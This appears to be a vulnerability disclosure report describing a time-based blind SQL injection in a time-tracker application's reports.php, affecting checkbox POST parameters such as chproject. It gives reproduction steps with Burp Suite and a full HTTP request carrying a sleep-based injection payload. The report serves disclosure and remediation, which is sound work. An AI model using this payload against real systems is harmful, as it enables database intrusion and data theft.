Description

SQL injection typically allows an attacker to extract the entire database from the vulnerable website, including user information, encrypted passwords, and business data. This can subsequently lead to mass compromise of user accounts, data being encrypted and held to ransom, or stolen data being sold to third parties. They typically arise when an application incorporates user data into a database query in an unsafe manner. An attacker can manipulate the data to cause their own database query to execute, allowing them to read or modify the contents of the database.

In this specific case, the vulnerability affects several POST parameters, including chstart, chproject, chfinish, chduration, chnote, chcost, chip and chtotalsonly, in reference to the checkboxes functionalities present while generating and saving a report on timetracker/reports.php.

Requirements

After testing the PoC multiple times, it was possible to determine that the vulnerability is exploitable only if at least one project is present within the platform.

Steps-To-Reproduce

• Log into the platform at timetracker/login.php.

• Move on timetracker/projects.php and create at least one project.

• Now, browse timetracker/reports.php and, using a previously generated report template or saving a new one, start specifying time-range, flagging user, project and all the checkboxes present below Show fields and finally grouping them by date, user and project.

• Turn on the intercept functionality on any web application proxy. For this PoC, Burpsuite was used.

• Intercept the POST request while selecting the Save option on the bottom of the page, then forward the request to the repeater.

• Choose any of the affected parameters mentioned in the current report description, like chproject, and replace its content with any boolean-based blind or time-based blind SQL injection payload. For the current PoC, I used a time-based SQL injection payload like (select*from(select(sleep(10)))a).

• Sending the request you should notice a delay of about 10 seconds in receiving response from the application. In order to exclude a false positive, it's possible to modify the database sleep seconds in the SQL injection payload and sending the request multiple times.

Note

All the mentioned POST parameters are affected since were manually tested, but it's suggested to secure the other parameters mentioned in the highlighted lines of code in occurrences as well, considering that many of them are used only as a result of enabling some specific plugins.

Proof of Concept

POST /timetracker/reports.php HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
Origin: http://<REDACTED>
Connection: close
Referer: http://<REDACTED>/timetracker/reports.php
Cookie: tt_PHPSESSID=mm1eih01k11vv3m41vog4fntfe; tt_login=manager
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1

favorite_report=-1&period=&start_date=2022-12-14&end_date=2022-12-22&users_active%5B%5D=1&project=1&approved=1&note_containing=a&chproject=(select*from(select(sleep(10)))a)&chstart=1&chfinish=1&chduration=1&chnote=1&chcost=1&chapproved=1&chip=1&group_by1=date&group_by2=user&group_by3=project&chtotalsonly=1&new_fav_report=test&btn_save=Save&fav_report_changed=

Impact

An authenticated attacker, independently from privileges, can interfere with the queries that the application makes to its database up to reading, modifying and exfiltrating data from it.